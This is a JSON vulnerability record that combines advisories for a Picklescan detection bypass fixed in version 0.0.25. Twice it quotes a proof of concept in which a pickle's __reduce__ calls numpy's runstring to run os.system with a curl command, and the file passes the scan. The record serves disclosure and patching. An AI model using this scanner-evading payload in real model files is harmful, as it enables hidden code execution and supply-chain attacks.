{"id":"CVE-2025-71355","aliases":["EUVD-2025-210388","GHSA-7jm4-f7vj-6pcc","GHSA-fj43-3qmq-673f"],"status":"published","title":"Picklescan - Arbitrary Code Execution via Unsafe Numpy Function Detection Bypass","description":"Picklescan before 0.0.25 fails to detect unsafe global functions in the Numpy library, allowing attackers to bypass static analysis and execute arbitrary code during deserialization. Attackers can craft malicious pickle files using numpy.testing._private.utils.runstring within the reduce method to import dangerous libraries like os and execute arbitrary OS commands when the pickle file is loaded.","severity":{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00628,"percentile":0.50615,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-184","CWE-502"],"published":"2025-04-07T18:54:05Z","modified":"2026-10-28T02:30:24Z","fixes":[{"ecosystem":"PyPI","package":"picklescan","fixed_in":["0.0.25"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.25"}]}]},{"source":"osv","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.25"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9"]}],"products":[{"vendor":"mmaitre314","product":"picklescan"},{"vendor":"picklescan","product":"picklescan"}],"references":[{"url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-fj43-3qmq-673f","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-unsafe-numpy-function-detection-bypass","tags":["third-party-advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71355","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7jm4-f7vj-6pcc"},{"url":"https://github.com/advisories/GHSA-fj43-3qmq-673f"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/71xxx/CVE-2025-71355.json","tags":["advisory"]},{"url":"https://github.com/mmaitre314/picklescan","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-71355","title":"Picklescan - Arbitrary Code Execution via Unsafe Numpy Function Detection Bypass","description":"Picklescan before 0.0.25 fails to detect unsafe global functions in the Numpy library, allowing attackers to bypass static analysis and execute arbitrary code during deserialization. Attackers can craft malicious pickle files using numpy.testing._private.utils.runstring within the reduce method to import dangerous libraries like os and execute arbitrary OS commands when the pickle file is loaded.","status":"published","published":"2026-06-30T22:08:18.129Z","modified":"2026-07-01T14:55:55.592Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T14:32:43.10004Z"}],"euvd":[{"id":"EUVD-2025-210388","description":"Picklescan before 0.0.25 fails to detect unsafe global functions in the Numpy library, allowing attackers to bypass static analysis and execute arbitrary code during deserialization. Attackers can craft malicious pickle files using numpy.testing._private.utils.runstring within the reduce method to import dangerous libraries like os and execute arbitrary OS commands when the pickle file is loaded.","status":"published","published":"2026-06-30T22:08:18Z","modified":"2026-07-01T14:55:55Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:20:19.829772Z"}],"ghsa":[{"id":"GHSA-7jm4-f7vj-6pcc","title":"Picklescan before 0.0.25 fails to detect unsafe global functions in the Numpy library, allowing...","description":"Picklescan before 0.0.25 fails to detect unsafe global functions in the Numpy library, allowing attackers to bypass static analysis and execute arbitrary code during deserialization. Attackers can craft malicious pickle files using numpy.testing._private.utils.runstring within the reduce method to import dangerous libraries like os and execute arbitrary OS commands when the pickle file is loaded.","status":"published","published":"2026-07-01T00:34:01Z","modified":"2026-07-01T00:34:05Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T15:09:07.106222Z"},{"id":"GHSA-fj43-3qmq-673f","title":"Picklescan failed to detect to some unsafe global function in Numpy library","description":"### Summary\nAn unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited by import some built-in function in Numpy library that indrectly call some dangerous function like exec() to execute some python code as a parameter, which the attacker can import dangerous library inside like os library and execute arbitrary OS commands.\n### Details\nPickle’s deserialization process is known to allow execution of function via **reduce** method. While Picklescan is meant to detect such exploits, this attack evades detection by calling function in Numpy library that call dangerous function like exec(). And since Numpy library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.\n\nThe attack payload executes in the following steps:\n- First, the attacker craft the payload by import **runstring** function in **numpy.testing._private.utils**\n- Then, inside **reduce** method, the attacker import dangerous libarary like os and calling os.system() to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim.\n- Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n```\nimport pickle\nimport torch\nimport pickle\nfrom picklescan.scanner import scan_file_path\nclass Payload:\n  def __reduce__(self):\n    from numpy.testing._private.utils import runstring\n    return runstring, (\"import os; os.system('curl https://example.com')\",{})\n    \ndef create_payload():\n  with open('payload.pickle', 'wb') as f:\n    pickle.dump(Payload(), f)\n\ndef load_payload():\n  result = scan_file_path('payload.pickle')\n  if result.infected_files != 0 or result.scan_err:\n    print('File is infected')\n  else:\n    print('File is clean')\n    with open('payload.pickle', 'rb') as f:\n      pickle.load(f)\n\ncreate_payload() \nload_payload()\n\n```\n\n### Impact\nSeverity: High\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. For example, Invoke-AI repository (https://github.com/invoke-ai/InvokeAI)\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Recommended Fixes:\n\nI suggest adding Numpy library to the unsafe globals blacklist.","status":"published","published":"2025-04-07T18:54:05Z","modified":"2025-04-07T18:54:05Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:38:38.344711Z"}],"nvd":[{"id":"CVE-2025-71355","description":"Picklescan before 0.0.25 fails to detect unsafe global functions in the Numpy library, allowing attackers to bypass static analysis and execute arbitrary code during deserialization. Attackers can craft malicious pickle files using numpy.testing._private.utils.runstring within the reduce method to import dangerous libraries like os and execute arbitrary OS commands when the pickle file is loaded.","status":"published","published":"2026-06-30T23:16:51.417Z","modified":"2026-10-12T21:10:00.227Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T14:12:02.535029Z"}],"osv":[{"id":"CVE-2025-71355","title":"Picklescan - Arbitrary Code Execution via Unsafe Numpy Function Detection Bypass","description":"Picklescan before 0.0.25 fails to detect unsafe global functions in the Numpy library, allowing attackers to bypass static analysis and execute arbitrary code during deserialization. Attackers can craft malicious pickle files using numpy.testing._private.utils.runstring within the reduce method to import dangerous libraries like os and execute arbitrary OS commands when the pickle file is loaded.","status":"published","published":"2026-06-30T22:08:18.129Z","modified":"2026-10-28T02:30:24.338594998Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T15:44:53.185592Z"},{"id":"GHSA-fj43-3qmq-673f","title":"Picklescan failed to detect to some unsafe global function in Numpy library","description":"### Summary\nAn unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited by import some built-in function in Numpy library that indrectly call some dangerous function like exec() to execute some python code as a parameter, which the attacker can import dangerous library inside like os library and execute arbitrary OS commands.\n### Details\nPickle’s deserialization process is known to allow execution of function via **reduce** method. While Picklescan is meant to detect such exploits, this attack evades detection by calling function in Numpy library that call dangerous function like exec(). And since Numpy library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.\n\nThe attack payload executes in the following steps:\n- First, the attacker craft the payload by import **runstring** function in **numpy.testing._private.utils**\n- Then, inside **reduce** method, the attacker import dangerous libarary like os and calling os.system() to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim.\n- Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n```\nimport pickle\nimport torch\nimport pickle\nfrom picklescan.scanner import scan_file_path\nclass Payload:\n  def __reduce__(self):\n    from numpy.testing._private.utils import runstring\n    return runstring, (\"import os; os.system('curl https://example.com')\",{})\n    \ndef create_payload():\n  with open('payload.pickle', 'wb') as f:\n    pickle.dump(Payload(), f)\n\ndef load_payload():\n  result = scan_file_path('payload.pickle')\n  if result.infected_files != 0 or result.scan_err:\n    print('File is infected')\n  else:\n    print('File is clean')\n    with open('payload.pickle', 'rb') as f:\n      pickle.load(f)\n\ncreate_payload() \nload_payload()\n\n```\n\n### Impact\nSeverity: High\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. For example, Invoke-AI repository (https://github.com/invoke-ai/InvokeAI)\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Recommended Fixes:\n\nI suggest adding Numpy library to the unsafe globals blacklist.","status":"published","published":"2025-04-07T18:54:05Z","modified":"2026-07-08T07:10:48.890081692Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:46:46.39441Z"}]}}
